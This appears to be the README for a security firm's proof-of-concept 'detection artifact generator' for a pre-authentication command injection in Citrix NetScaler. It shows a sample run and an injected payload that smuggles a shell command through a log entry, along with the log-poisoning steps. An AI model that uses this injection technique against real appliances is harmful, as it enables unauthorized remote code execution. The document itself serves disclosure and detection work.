watchTowr-vs-Citrix-Netscaler-CVE-2026-88771

Detection Artifact Generator for Citrix NetScaler CVE-2026-88771

See our blog post for technical details.

Detection in Action

./watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py --target https://netscaler.local/ --command 'id>/var/tmp/watchTowr'
                     __         ___  ___________
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|
                          \/          \/     \/

        watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py

        (*) Citrix NetScaler PreAuth Command Injection to RCE Detection Artifact Generator

          - Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2026-88771]

[+] connected to https://netscaler.local/
[*] payload built: pitboss PPE unexpectedly died NSPPE;id>/var/tmp/watchTowr;# X
[+] poisoning the logs...
[*] triggering force pickup...
[*] remote force pickup in progress
[*] done

it might take up to 24 hours for the command to get picked up Also, the force pickup technique is not included

Affected Versions

All NetScaler ADC and NetScaler Gateway deployments (Default configuration / No additional feature required)

Refer to Citrix official advisory for a list of affected versions.

Follow watchTowr Labs

For the latest security research follow the watchTowr Labs Team

• https://labs.watchtowr.com/
• https://x.com/watchtowrcyber